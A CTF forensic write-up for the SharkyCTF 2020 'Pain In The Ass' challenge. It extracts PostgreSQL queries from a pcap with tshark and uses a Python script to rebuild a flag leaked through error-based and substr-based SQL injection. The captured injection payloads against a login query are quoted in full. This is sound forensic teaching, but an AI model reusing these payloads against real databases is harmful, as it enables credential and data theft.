---
title: SharkyCTF 2020 - [Forensic] Pain In The Ass (200pts)
author: Maltemo
tags: CTF, sharkyCTF, wireshark, tshark, error_based_SQLI
---
SharkyCTF 2020 - [Forensic] Pain In The Ass (200pts)
===
Written by [Maltemo](https://twitter.com/Maltemo), member of team [SinHack](https://sinhack.blog/).

[TOC]

## Statement of the challenge

### Description

It looks like someone dumped our database. Please help us know what has been leaked ...

Creator: 2phi

File given : `pain-in-the-ass.pcapng`

## TL;DR

After finding the PostGreSQL request in the wireshark file, we had to extract the queries and get the flag from an Error Based SQLI.

## Analyze

After a little time of analysis of the PCAP data, I've found some hints in one of the requests.

USER-ALPHA....th3_fl4g_1s_n0t_h3r3D...+......USER-BETA....h3r3_1s_n0t_th3_fl4gD.../.....
USER-GAMMA....l00k1ng_f0r_34sy_p01ntsD.........
USER-DELTA....3rr0r_b4s3d_1s_s0_34syC...

From this hint, we can understand that the attack used was an error based SQLI.

En error based SQLI will guess letter by letter of the chosen element, and switch every time it finds the correct letter.

Now, lets extract the queries from the PCAP file with `tshark` :

`tshark -r pain-in-the-ass.pcapng -Y pgsql -Tfields -e pgsql.query | grep SELECT > queries`

I'm passing the PCAP file with the `-r` option, the packet filter with the `-Y` option and finally a specific field with the `-e` option.

With the grep, i'm keeping only the lines where there are requests.

Here is an extract of the output file :

SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' and 1=cast((SELECT table_name FROM information_schema.tables WHERE table_catalog=current_database() LIMIT 1 OFFSET 0) as int) and '1'='1';
[...]
SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' and 1=cast((SELECT username FROM users LIMIT 1 OFFSET 4) as int) and '1'='1';
SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),1,1) = 'a' and '1';
SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),1,1) = 'b' and '1';
SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),1,1) = 'c' and '1';

Only the last requests in the example seems interesting because we can get informations like letters from those queries.

I removed the other queries in the file and started to write a script to extract the data from those requests.

This script is going through each query and checks if the query is testing a new letter index.

In this example, the changes from the index 1 to 2 when it finds out that the right letter was 'k'.

[...]substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),1,1) = 'j' and '1';
[...]substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),1,1) = 'k' and '1';
[...]substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),2,1) = 'a' and '1';
[...]substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),2,1) = 'b' and '1';

In this script, i'm extracting all the values and keeping it in a dictionnary :

#!/usr/bin/env python
# coding=utf-8

f = open("queries","r")
logs = []
dictionary = {}
old = 0 

for query in f:
    letter = query.split("'")[5]
    key = query.split(" ")[13]
    if old != query.split(",")[1]:
        old = query.split(",")[1]
        if key in dictionary:
            dictionary[key] += previous_letter
        else:
            dictionary[key] = ""

    previous_letter = query.split("'")[5]

print dictionary

./error_based_sqli.py 
{'dev_username': 'k3vin"', 'dev_password': 'shkCTF{4lm0st_h1dd3n_3xtr4ct10n_0e18e336adc8236a0452cd570f74542}'}

:::success
And we got the flag in the `dev_password` extraction !
It was : __shkCTF{4lm0st_h1dd3n_3xtr4ct10n_0e18e336adc8236a0452cd570f74542}__
:::

## Flag

The flag is __shkCTF{4lm0st\_h1dd3n\_3xtr4ct10n\_0e18e336adc8236a0452cd570f74542}__
___
<a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-nd/4.0/88x31.png" /></a><br />This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/4.0/">Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License</a>.